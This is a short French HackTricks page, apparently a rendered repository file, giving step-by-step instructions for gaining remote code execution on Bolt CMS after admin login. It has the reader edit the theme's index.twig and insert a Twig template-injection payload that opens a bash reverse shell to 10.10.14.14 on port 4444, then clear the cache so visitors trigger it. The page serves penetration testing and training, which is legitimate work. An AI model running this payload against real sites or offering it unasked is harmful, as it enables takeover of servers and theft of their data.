Bolt CMS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
Découvrez The PEASS Family, notre collection exclusive de NFTs
Obtenez le swag officiel PEASS & HackTricks
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

RCE

Après vous être connecté en tant qu'administrateur (allez sur /bot pour accéder à la fenêtre de connexion), vous pouvez obtenir une RCE dans Bolt CMS :

Sélectionnez Configuration -> View Configuration -> Main Configuration ou allez sur le chemin d'URL /bolt/file-edit/config?file=/bolt/config.yaml
- Vérifiez la valeur du thème

Sélectionnez File management -> View & edit templates
- Sélectionnez la base de thème trouvée dans l'étape précédente (base-2021 dans ce cas) et sélectionnez index.twig
- Dans mon cas, cela se trouve sur le chemin d'URL /bolt/file-edit/themes?file=/base-2021/index.twig
Définissez votre charge utile dans ce fichier via l'injection de modèle (Twig), comme : {{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
- Et enregistrez les modifications

Effacez le cache dans Maintenance -> Clear the cache
Accédez à nouveau à la page en tant qu'utilisateur régulier, et la charge utile devrait être exécutée

2.9 KiB Raw Blame History

Bolt CMS

RCE

2.9 KiB

Raw Blame History